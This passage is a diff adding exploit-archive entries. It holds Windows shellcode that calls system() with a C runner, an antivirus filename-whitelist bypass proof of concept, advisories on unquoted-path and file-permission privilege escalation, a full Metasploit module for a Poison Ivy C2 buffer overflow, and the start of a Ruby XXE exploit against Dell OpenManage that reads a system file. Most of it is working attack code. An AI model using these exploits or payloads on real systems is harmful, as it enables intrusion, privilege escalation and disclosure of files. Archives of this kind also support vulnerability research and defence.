||||
|
||||
Get_func:
|
||||
inc ecx ;increment the ordinal
|
||||
lodsd ;Get name offset
|
||||
add eax,ebx ;(offset+kernel32.dll base adress)=Get function name
|
||||
cmp dword [eax],0x50746547 ;GetP
|
||||
jnz Get_func
|
||||
cmp dword [eax+0x4],0x41636f72 ;rocA
|
||||
jnz Get_func
|
||||
cmp dword [eax+0x8],0x65726464 ;ddre
|
||||
jnz Get_func
|
||||
|
||||
;---------------------
|
||||
|
||||
mov esi,[edx+0x24] ;(IMAGE_EXPORT_DIRECTORY+0x24) AddressOfNameOrdinals
|
||||
|
||||
add esi,ebx ;ESI=(AddressOfNameOrdinals+kernel32.dll)=AddressOfNameOrdinals of kernel32.dll
|
||||
|
||||
mov cx,[esi+ecx*2] ;CX=Number of Function
|
||||
dec ecx
|
||||
mov esi,[edx+0x1c] ; (IMAGE_EXPORT_DIRECTORY+0x1c)=AddressOfFunctions
|
||||
|
||||
add esi,ebx ;ESI=beginning of Address table
|
||||
mov edx,[esi+ecx*4];EDX=Pointer(offset)
|
||||
add edx,ebx ;Edx=GetProcAddress
|
||||
|
||||
|
||||
;------------------------------
|
||||
|
||||
xor esi,esi
|
||||
mov esi,edx
|
||||
;-------------------------------
|
||||
;finding address of LoadLibraryA
|
||||
xor ecx,ecx
|
||||
push ecx
|
||||
push 0x41797261
|
||||
push 0x7262694c
|
||||
push 0x64616f4c
|
||||
|
||||
mov ecx,esp
|
||||
|
||||
push ecx
|
||||
push ebx
|
||||
|
||||
call edx
|
||||
|
||||
;-------------------------------------
|
||||
;finding address of msvcrt.dll
|
||||
xor ecx,ecx
|
||||
|
||||
mov cx, 0x6c6c
|
||||
push ecx
|
||||
push 0x642e7472
|
||||
push 0x6376736d
|
||||
|
||||
mov ecx,esp
|
||||
push ecx
|
||||
call eax
|
||||
;----------------------------
|
||||
|
||||
xor edi,edi
|
||||
mov edi,eax ; base address of msvcrt.dll
|
||||
;----------------------------
|
||||
;finding address of system()
|
||||
xor edx,edx
|
||||
push edx
|
||||
mov dx, 0x6d65
|
||||
push edx
|
||||
push 0x74737973
|
||||
mov ecx,esp
|
||||
push ecx
|
||||
push edi
|
||||
xor edx,edx
|
||||
mov edx,esi
|
||||
call edx
|
||||
;-------------------------
|
||||
|
||||
xor ecx,ecx
|
||||
mov cx, 0x6f66
|
||||
push ecx
|
||||
push 0x6e696d65
|
||||
push 0x74737973
|
||||
mov ecx,esp
|
||||
push ecx
|
||||
call eax ;calling system()
|
||||
|
||||
;-------------------------------
|
||||
;finding address of _getch()
|
||||
xor ecx,ecx
|
||||
mov cx, 0x6863
|
||||
push ecx
|
||||
push 0x7465675f
|
||||
|
||||
mov ecx,esp
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
xor edx,edx
|
||||
mov edx,esi
|
||||
call edx
|
||||
|
||||
;--------------------
|
||||
call eax ;calling _getch()
|
||||
;---------------------
|
||||
|
||||
;---------------------------
|
||||
;finding address of exit()
|
||||
xor edx,edx
|
||||
push edx
|
||||
push 0x74697865
|
||||
mov ecx,esp
|
||||
push ecx
|
||||
push edi
|
||||
call esi
|
||||
;----------------------
|
||||
call eax ;exiting
|
||||
|
||||
|
||||
|
||||
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
char shellcode[]=\
|
||||
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xf6\x89\xd6\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x89\xe1\x51\x53\xff\xd2\x31\xc9\x66\xb9\x6c\x6c\x51\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x89\xe1\x51\xff\xd0\x31\xff\x89\xc7\x31\xd2\x52\x66\xba\x65\x6d\x52\x68\x73\x79\x73\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\x31\xc9\x66\xb9\x66\x6f\x51\x68\x65\x6d\x69\x6e\x68\x73\x79\x73\x74\x89\xe1\x51\xff\xd0\x31\xc9\x66\xb9\x63\x68\x51\x68\x5f\x67\x65\x74\x89\xe1\x51\x57\x31\xd2\x89\xf2\xff\xd2\xff\xd0\x31\xd2\x52\x68\x65\x78\x69\x74\x89\xe1\x51\x57\xff\xd6\xff\xd0";
|
||||
|
||||
|
||||
main()
|
||||
{
|
||||
printf("shellcode length %ld\n",strlen(shellcode));
|
||||
(* (int(*)()) shellcode)();
|
||||
}
|
191
platforms/windows/dos/39915.c
Executable file
191
platforms/windows/dos/39915.c
Executable file
|
@ -0,0 +1,191 @@
|
|||
/*
|
||||
# Exploit Title : Armadito antimalware - Backdoor/Bypass
|
||||
# Date : 07-06-2016 (DD-MM-YYYY)
|
||||
# Exploit Author : Ax.
|
||||
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
|
||||
# Software Link : https://github.com/41434944/armadito-av
|
||||
# Version : No version specified. Fixed 07-06-2016 post-disclosure
|
||||
# Tested on : Windows 7
|
||||
|
||||
1. Description
|
||||
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).
|
||||
|
||||
2. Proof Of Concept
|
||||
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.
|
||||
|
||||
[SOURCE]
|
||||
if (msDosFilename == NULL) {
|
||||
a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);
|
||||
scan_result = ARMADITO_EINVAL;
|
||||
}
|
||||
else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
|
||||
scan_result = ARMADITO_WHITE_LISTED;
|
||||
}
|
||||
else {
|
||||
|
||||
// launch a simple file scan
|
||||
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
|
||||
scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
|
||||
a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
|
||||
printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
|
||||
|
||||
}
|
||||
[/SOURCE]
|
||||
|
||||
Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.
|
||||
|
||||
3. Solution
|
||||
|
||||
Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).
|
||||
|
||||
3 bis. Real solution
|
||||
|
||||
It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <Windows.h>
|
||||
#define BUFSIZE 4096
|
||||
#define MAX_PATH_SIZE 255
|
||||
#define ARMADITO_EINVAL 0
|
||||
#define ARMADITO_WHITE_LISTED 1
|
||||
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
|
||||
{
|
||||
char deviceDosName[BUFSIZE];
|
||||
char deviceLetter[3] = { '\0' };
|
||||
char deviceNameQuery[BUFSIZE] = { '\0' };
|
||||
char * deviceDosFilename = NULL;
|
||||
DWORD len = 0;
|
||||
DWORD len2 = 0;
|
||||
DWORD ret = 0;
|
||||
BOOL bFound = FALSE;
|
||||
char * tmp;
|
||||
|
||||
if (DeviceFileName == NULL) {
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
|
||||
printf("FileName null.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Get the list of the logical drives.
|
||||
len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
|
||||
if (len == 0) {
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed :: error code = 0x%03d", GetLastError());
|
||||
printf("Error : GetLogicalDriveStringsA()\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
tmp = deviceDosName;
|
||||
|
||||
do {
|
||||
|
||||
//printf("[+] Debug :: deviceDosName = %s\n",tmp);
|
||||
|
||||
// Get the device letter without the backslash (Ex: C:).
|
||||
memcpy_s(deviceLetter, 2, tmp, 2);
|
||||
|
||||
if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed :: error code = 0x%03d\n", GetLastError());
|
||||
printf("Error : QuedryDosDeviceA()\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
|
||||
if (deviceNameQuery == NULL) {
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed :: deviceNameQuery is NULL\n", GetLastError());
|
||||
printf("deviceNameQuery null.\n");
|
||||
}
|
||||
|
||||
if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
|
||||
//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
|
||||
|
||||
len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
|
||||
len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;
|
||||
|
||||
deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
|
||||
deviceDosFilename[len] = '\0';
|
||||
|
||||
memcpy_s(deviceDosFilename, len, tmp, 3);
|
||||
memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);
|
||||
|
||||
bFound = TRUE;
|
||||
|
||||
}
|
||||
|
||||
// got to the next device name.
|
||||
while (*tmp++);
|
||||
//printf("[+] Debug :: next device name = %s\n",tmp);
|
||||
|
||||
|
||||
} while (bFound == FALSE && *tmp);
|
||||
|
||||
|
||||
if (bFound == FALSE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return deviceDosFilename;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
char * msDosFilename = NULL;
|
||||
int i = 0;
|
||||
LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
|
||||
LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
|
||||
LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
|
||||
char *string;
|
||||
int scan_result = -1;
|
||||
|
||||
/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
|
||||
// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
|
||||
for (i = 0; i < 3; i++)
|
||||
{
|
||||
if (i == 0)
|
||||
{
|
||||
printf("Scanning C:\\ARMADITO.txt\n");
|
||||
msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
|
||||
}
|
||||
else if (i == 1)
|
||||
{
|
||||
printf("Scanning C:\\malware.exe\n");
|
||||
msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n");
|
||||
msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile);
|
||||
}
|
||||
//report.status = ARMADITO_CLEAN;
|
||||
/* If the ConvertDeviceNametoMsDosName fails */
|
||||
if (msDosFilename == NULL) {
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId);
|
||||
scan_result = ARMADITO_EINVAL;
|
||||
}
|
||||
/* If it contains ARMADITO.TXT ... SERIOUSLY ? */
|
||||
|
||||
else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
|
||||
scan_result = ARMADITO_WHITE_LISTED;
|
||||
printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n");
|
||||
}
|
||||
else {
|
||||
/* Armadito basic scan */
|
||||
printf("Armadito will now scan the file.\n");
|
||||
// launch a simple file scan
|
||||
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
|
||||
//scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
|
||||
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
|
||||
//printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
|
||||
|
||||
}
|
||||
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
49
platforms/windows/local/39908.txt
Executable file
49
platforms/windows/local/39908.txt
Executable file
|
@ -0,0 +1,49 @@
|
|||
# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
|
||||
# Date: 06-05-2016
|
||||
# Exploit Author: Roland C. Redl
|
||||
# Vendor Homepage: https://www.matrix42.com/
|
||||
# Software Link: n/a
|
||||
# Version: 3.20.0031
|
||||
# Tested on: Windows 7 Enterprise SP1 x64
|
||||
# CVE : n/a
|
||||
|
||||
1. Description:
|
||||
|
||||
>sc qc FastViewerRemoteProxy
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: FastViewerRemoteProxy
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 4 DISABLED
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : FastViewer Proxyservice
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
||||
>sc qc FastViewerRemoteService
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: FastViewerRemoteService
|
||||
TYPE : 110 WIN32_OWN_PROCESS (interactive)
|
||||
START_TYPE : 2 AUTO_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : FastViewer Remoteservice
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
||||
The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.
|
||||
|
||||
2. Proof of concept:
|
||||
|
||||
Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
|
||||
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.
|
||||
|
||||
3. Solution:
|
||||
|
||||
To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.
|
52
platforms/windows/local/39916.txt
Executable file
52
platforms/windows/local/39916.txt
Executable file
|
@ -0,0 +1,52 @@
|
|||
------------------------------------------------------------------------------------
|
||||
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
|
||||
# Date: 03/06/16
|
||||
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
|
||||
probably found this too)
|
||||
# Vendor Homepage: http://www.leagueoflegends.com
|
||||
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
|
||||
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system
|
||||
|
||||
Description:
|
||||
|
||||
The League of Legends Folder is installed with insecure file
|
||||
permissions. It was found that all folder and most file permissions were
|
||||
incorrectly configured during installation. It was possible to replace most
|
||||
binaries.
|
||||
This can be used to get a horizontal and vertical privilege escalation.
|
||||
|
||||
POC :
|
||||
|
||||
C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
|
||||
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
|
||||
BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
|
||||
AUTORITE NT\Système:(I)(F)
|
||||
AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
|
||||
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
|
||||
AUTORITE NT\Utilisateurs authentifiés:(I)(M)
|
||||
AUTORITE NT\Utilisateurs
|
||||
authentifiés:(I)(OI)(CI)(IO)(M)
|
||||
|
||||
|
||||
POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E
|
||||
|
||||
|
||||
Additional Notes :
|
||||
|
||||
"Based on our assessment, we feel that the severity and risk related to
|
||||
this issue is low. We are going to mark this as a won't fix as we're
|
||||
planning on will be taking this functionality offline soon with our new
|
||||
league client."
|
||||
|
||||
"we determined that there are some design choices regarding the game client
|
||||
install location and default permissions that prevent us from changing the
|
||||
current behavior."
|
||||
|
||||
I've try to explain that file permissions aren't a functionality that you
|
||||
take offline or design choices, without success. Sorry guys you will have
|
||||
to patch this manually..
|
||||
|
||||
Related report :
|
||||
https://www.exploit-db.com/exploits/39903/
|
||||
|
||||
------------------------------------------------------------------------------------
|
194
platforms/windows/remote/39907.rb
Executable file
194
platforms/windows/remote/39907.rb
Executable file
|
@ -0,0 +1,194 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
|
||||
The exploit does not need to know the password chosen for the bot/server communication.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
|
||||
],
|
||||
'DisclosureDate' => 'Jun 03 2016',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Poison Ivy 2.1.4 on Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
|
||||
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
|
||||
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
|
||||
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
|
||||
'Packet2Offset' => 0xB9E # offset of second packet within server's response
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3460)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# XOR two strings
|
||||
def xor_strings(s1, s2)
|
||||
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
|
||||
end
|
||||
|
||||
# Obtain keystream using known plaintext
|
||||
def get_keystream(ciphertext, knownPlaintext)
|
||||
if(ciphertext.length < knownPlaintext.length)
|
||||
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
|
||||
else
|
||||
return xor_strings(ciphertext, knownPlaintext)
|
||||
end
|
||||
end
|
||||
|
||||
# Apply keystream to plaintext
|
||||
def use_keystream(plaintext, keyStream)
|
||||
if(keyStream.length > plaintext.length)
|
||||
return xor_strings(plaintext, keyStream[0, plaintext.length])
|
||||
else
|
||||
return xor_strings(plaintext, keyStream)
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
# Poke
|
||||
sock.put("\x01")
|
||||
# Fetch response
|
||||
response = sock.get_once(6)
|
||||
|
||||
if (response == "\x89\xFF\x90\x0B\x00\x00")
|
||||
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
|
||||
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# Load known plaintext chunk
|
||||
def load_c2_packet_chunk
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
|
||||
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
|
||||
chunk
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Known plaintext from C2 packet
|
||||
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
|
||||
knownPlaintext2 = load_c2_packet_chunk()
|
||||
|
||||
# detour shellcode (mov eax, StoreAddress; jmp eax)
|
||||
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
|
||||
detourShellcode << "\xFF\xE0" # jmp eax
|
||||
|
||||
# Padding where necessary
|
||||
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
|
||||
|
||||
# Construct exploit buffer
|
||||
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
|
||||
exploitBuffer << compressedBuffer # compressedBuffer
|
||||
exploitBuffer << "\xFF" * 0x104 # readfds
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
|
||||
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
|
||||
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
|
||||
exploitBuffer << [target['Ret']].pack("V") # EIP
|
||||
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
|
||||
exploitBuffer << detourShellcode # detour to storage area
|
||||
|
||||
# Calculate values
|
||||
allocSize = exploitBuffer.length + 1024
|
||||
infoLen = payload.encoded.length
|
||||
infoSize = (infoLen + 4)
|
||||
|
||||
# Handshake
|
||||
connect
|
||||
print_status("Performing handshake...")
|
||||
|
||||
# Poke
|
||||
sock.put("\x01")
|
||||
|
||||
# Fetch response
|
||||
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
|
||||
|
||||
eHeader = response[target['Packet2Offset'], 6]
|
||||
eInfo = response[target['Packet2Offset'] + 10..-1]
|
||||
|
||||
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
|
||||
# Keystream derivation using Known Plaintext Attack
|
||||
keyStream1 = get_keystream(eHeader, knownPlaintext1)
|
||||
keyStream2 = get_keystream(eInfo, knownPlaintext2)
|
||||
|
||||
# Set correct infoLen
|
||||
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
|
||||
|
||||
# Set correct decompressSize
|
||||
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
|
||||
|
||||
# Build packet
|
||||
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
|
||||
|
||||
# Encrypt infoSize bytes
|
||||
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
|
||||
|
||||
# Make sure infoSize gets overwritten properly since it is processed before decryption
|
||||
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
|
||||
|
||||
# Finalize packet
|
||||
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
|
||||
|
||||
print_status("Sending exploit...")
|
||||
# Send exploit
|
||||
sock.put(exploitPacket)
|
||||
else
|
||||
print_status("Not enough keystream available...")
|
||||
end
|
||||
|
||||
select(nil,nil,nil,5)
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
164
platforms/xml/webapps/39909.rb
Executable file
164
platforms/xml/webapps/39909.rb
Executable file
|
@ -0,0 +1,164 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
|
||||
# Date: June 9, 2016
|
||||
# Exploit Author: hantwister
|
||||
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
|
||||
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
|
||||
# Version: 8.3
|
||||
# Tested On: RHEL7
|
||||
#
|
||||
# Description:
|
||||
# When using an XML parser on returned data by a remote node, OMSA does not
|
||||
# restrict the use of external entities.
|
||||
#
|
||||
# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
|
||||
# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
|
||||
#
|
||||
# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
|
||||
# to parse returned XML, and when the OMSA instance requests this XML from
|
||||
# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
|
||||
# includes a XXE attack, revealing the contents of /etc/redhat-release.
|
||||
#
|
||||
# Because OMSA merely requires you be authenticated to the node you are
|
||||
# managing, which we control, authentication to the victim is not required
|
||||
# to exploit this vulnerability.
|
||||
#
|
||||
# To use, change line 55 to your victim IP. If you have multiple network
|
||||
# interfaces, you may wish to manually specify which one will be accessible
|
||||
# to the victim on line 60.
|
||||
#
|
||||
# Note: during testing, OMSA would periodically begin rejecting connections
|
||||
# to fake nodes and would need to be restarted; do not expect multiple runs
|
||||
# against the same victim to be successful unless you can restart it.
|
||||
#
|
||||
# Copyright (C) 2016 hantwister
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
|
||||
require 'webrick'
|
||||
require 'webrick/https'
|
||||
require 'nokogiri'
|
||||
require 'securerandom'
|
||||
require "net/http"
|
||||
require "uri"
|
||||
|
||||
victimip = nil
|
||||
if victimip.nil?
|
||||
abort "You should modify this file and specify a victim IP."
|
||||
end
|
||||
|
||||
attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
|
||||
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"
|
||||
|
||||
sleep 10
|
||||
|
||||
wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])
|
||||
|
||||
wsmanCallback.mount_proc '/wsman' do |req, res|
|
||||
